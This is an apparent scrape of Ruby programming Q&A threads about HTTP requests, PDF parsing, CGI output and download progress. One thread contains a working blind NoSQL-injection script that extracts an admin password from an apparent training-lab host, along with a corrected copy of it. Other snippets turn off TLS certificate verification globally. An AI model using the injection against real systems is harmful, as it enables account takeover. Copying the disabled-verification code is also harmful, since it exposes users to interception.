Is there a 'better/alternative/more readable' solution to http://www.pythonchallenge.com/pc/def/linkedlist.php than the ruby code below?
I can understand it but it just doesn't seem very clear to me...
#!/usr/bin/env ruby -w
# encoding: utf-8
require 'net/http'
Net::HTTP.start 'www.pythonchallenge.com' do |http|
nothing = 12345
nothing = case http.get("/pc/def/linkedlist.php?nothing=#{nothing}").body
when /(\d+)$/ then $1.to_i
when /by two/ then nothing / 2
when /\.html/ then puts $`
end while nothing
end
It was ok but let's try to make it a little more readable:
#!/usr/bin/env ruby -w
# encoding: utf-8
require 'net/http'
Net::HTTP.start 'www.pythonchallenge.com' do |http|
next_one = 12345
while next_one
response = http.get("/pc/def/linkedlist.php?nothing=#{next_one}").body
case response
when /Divide by two and keep going./ then
next_one = next_one / 2
when /and the next nothing is (\d+)/ then
next_one = $1.to_i
else
puts "Solution url: www.pythonchallenge.com/pc/def/linkedlist.php?nothing=#{next_one}"
next_one = false
end
end
end
Related
im doing one of the tasks to retrieve more information from the NoSQL database using ruby .everytime i run the code im getting syntax error
require 'httparty'
URL="ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get("http://#{URL}/?
search=admin%27%20%26%26%20this.password.match(/#{str}/)%00")
return resp.body =~ />admin</
end
#puts check?("d").inspect
#puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a+('0'..'9').to_a+['-']
password = ""
While true
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password+c
if check?("^#{test}.*$")
password+=c
puts password
break
end
end
end
There is a typo while is a keyword and need to be written in downcase.
require 'httparty'
URL = "ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get(
"http://#{URL}/?search=admin%27%20%26%26%20this.password.match(/#{str}/)%00"
)
return resp.body =~ />admin</
end
# puts check?("d").inspect
# puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a + ('0'..'9').to_a + ['-']
password = ""
while true # `while` needs to be downcase
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password + c
if check?("^#{test}.*$")
password += c
puts password
break
end
end
end
Btw. proper indention and some white improves readability a lot.
Its an issue with httparty gem.
First, install the same. also I made some changes in code.
The code is running but still not getting the result.
I have made below changes :
require 'httparty'
URL=(URI.encode 'myurl')
def check?(str)
resp = HTTParty.get(URI.encode "http://myurl/?search=admin%27%20%26%26%20this.password.match(#/{str}/)%00")
return resp.body =~ />admin
puts check?("5").inspect
puts check?("aaa").inspect
It is recommended to use URI.encode function.
I still trying to get the desired output.
I hope I will get the result.
You can modify the script or let me know if you had success in running the script.
I am parsing a PDF file online in order to extract a text. The 2 completes codes:
First
require 'open-uri'
require "net/http"
require 'pdf/reader'
module OpenSSL
module SSL
remove_const :VERIFY_PEER
end
end
OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE
io = open('https://www.mtholyoke.edu/sites/default/files/registrar/bulletin/docs/dept_econ.pdf')
reader = PDF::Reader.new(io)
reader.pages.each do |page|
iso = page.text
$var = iso.scan(/Economics[\s\S]*Overview/)
p $var
end
Second
require 'open-uri'
require "net/http"
require 'pdf/reader'
module OpenSSL
module SSL
remove_const :VERIFY_PEER
end
end
OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE
io = open('https://www.mtholyoke.edu/sites/default/files/registrar/bulletin/docs/dept_econ.pdf')
reader = PDF::Reader.new(io)
reader.pages.each do |page|
iso = page.text
$var = iso.scan(/Economics[\s\S]*Overview/)
end
p $var
It appears that when I use p $var after end, I have truncated the result unlike the first code. Why does putting p $var after end give a different result from putting it before?
In my web app, I do need to do put it after the end and have the same result as the first code. How can I do so?
tmp = reader.pages.map { |p| p.text.scan(/Economics[\s\S]*Overview/) }
tmp now contains a collection of all the scan results.
puts tmp.join("\n")
Will print them all out with newlines between each match.
Although won't that just print a wad of "Economics Overview"?
If you want to collect the pages themselves it's different code.
my environment: ruby 1.9.3p392 (2013-02-22 revision 39386) [x86_64-linux]
The thing is, I can make ruby return the parameters sent over GET. but when i'm trying to use them as arguements to my methods in if/else, ruby wont return anything and I end up with a blank page.
ph and pm return correctly:
http://127.0.0.1/cgi-bin/test.rb?hostname=node00.abit.dk&macadd=23:14:41:51:63
returns:
node00.abit.dk 23:14:41:51:63
Connection to the database (MySQL) works fine
When I test the method newHostName it outputs correctly:
puts newHostName
returns (which is correct)
node25.abit.dk
the code:
#!/usr/bin/ruby
require 'cgi'
require 'sequel'
require 'socket'
require 'timeout'
DB = Sequel.connect(:adapter=>'mysql', :host=>'localhost', :database=>'nodes', :user=>'nodeuser', :password=>'...')
#cgi-part to work
#takes 2 parameters:
#hostname & macadd
cgi = CGI.new
puts cgi.header
p = cgi.params
ph = p['hostname']
pm = p['macadd']
def nodeLookup(hostnameargv)
hostname = DB[:basenode]
h = hostname[:hostname => hostnameargv]
h1 = h[:hostname]
h2 = h[:macadd]
ary = [h1, h2]
return ary
end
def lastHostName()
#TODO: replace with correct sequel-code and NOT raw SQL
DB.fetch("SELECT hostname FROM basenode ORDER BY id DESC LIMIT 1") do |row|
return row[:hostname]
end
end
def newHostName()
org = lastHostName
#Need this 'hack' to make ruby grep for the number
#nodename e.g 'node01.abit.dk'
var1 = org[4]
var2 = org[5]
var3 = var1 + var2
sum = var3.to_i + 1
#puts sum
sum = "node" + sum.to_s + ".abit.dk"
return sum
end
def insertNewNode(newhost, newmac)
newnode = DB[:basenode]
newnode.insert(:hostname => newhost, :macadd => newmac)
return "#{newnode.count}"
end
#puts ph
#puts pm
#puts newHostName
cgi.out() do
cgi.html do
begin
if ph == "node00.abit.dk"
puts newHostName
else
puts nodeLookup(ph)
end
end
end
end
I feel like im missing something here. Any help is very much appreciated!
//M00kaw
What about modify last lines of your code as followed? CGI HTML generation methods take a block and yield the return value of the block as their content. So you should make newHostName or nodeLookup(ph) as the return value of the block passed to cgi.html(), rather than puts sth, which prints the content to your terminal and return nil. That's why cgi.html() got an empty string (nil.to_s).
#puts newHostName
cgi.out() do
cgi.html do
if ph == "node00.abit.dk"
newHostName
else
nodeLookup(ph)
end
end
end
p.s. It's conventional to indent your ruby code with 2 spaces :-)
Can someone explain to me why I am getting this error when doing this POST? I pulled the snippet from the Ruby-docs page.
undefined method `hostname' for #URI::HTTP:0x10bd441d8 URL:http://ws.mittthetwitapp.com/ws.phpmywebservice (NoMethodError)
Perhaps I am missing a require or something?
require 'net/http'
uri= URI('http://ws.mywebservice.com/ws.php')
req = Net::HTTP::Post.new(uri.path)
req.set_form_data('xmlPayload' => '<TestRequest><Message>Hi Test</Message></TestRequest>')
res = Net::HTTP.start(uri.hostname, uri.port) do |http|
http.request(req)
end
case res
when Net::HTTPSuccess, Net::HTTPRedirection
# OK
else
res.value
end
If you're using a version of Ruby prior to 1.9.3, you should use uri.host.
URI#hostname was added in Ruby 1.9.3. It is different than URI#host in that it removes brackets from IPv6 hostnames. For non-IPv6 hostnames it should behave identically.
The implementation (from APIdock):
def hostname
v = self.host
/\A\[(.*)\]\z/ =~ v ? $1 : v
end
Can anybody help me to
get the file size before I start downloading
display how much % was already downloaded
.
require 'net/http'
require 'uri'
url = "http://www.onalllevels.com/2009-12-02TheYangShow_Squidoo_Part 1.flv"
url_base = url.split('/')[2]
url_path = '/'+url.split('/')[3..-1].join('/')
Net::HTTP.start(url_base) do |http|
resp = http.get(URI.escape(url_path))
open("test.file", "wb") do |file|
file.write(resp.body)
end
end
puts "Done."
Use the request_head method. Like this
response = http.request_head('http://www.example.com/remote-file.ext')
file_size = response['content-length']
The file_size will be in bytes.
Follow these two links for more info.
http://ruby-doc.org/stdlib/libdoc/net/http/rdoc/classes/Net/HTTP.html#M000695
http://curl.haxx.se/mail/archive-2002-07/0070.html
so I made it work even with the progress bar ....
require 'net/http'
require 'uri'
require 'progressbar'
url = "url with some file"
url_base = url.split('/')[2]
url_path = '/'+url.split('/')[3..-1].join('/')
#counter = 0
Net::HTTP.start(url_base) do |http|
response = http.request_head(URI.escape(url_path))
ProgressBar#format_arguments=[:title, :percentage, :bar, :stat_for_file_transfer]
pbar = ProgressBar.new("file name:", response['content-length'].to_i)
File.open("test.file", 'w') {|f|
http.get(URI.escape(url_path)) do |str|
f.write str
#counter += str.length
pbar.set(#counter)
end
}
end
pbar.finish
puts "Done."
The file size is available in the HTTP Content-Length response header. If it is not present, you can't do anything. To calculate the %, just do the primary school math like (part/total * 100).
Here the full code to get file details before download
require 'net/http'
response = nil
uri = URI('http://hero.com/abc.mp4')
Net::HTTP.start(uri.host, uri.port) do |http|
response = http.head(uri)
end
response.header.each_header {|key,value| puts "#{key} = #{value}" }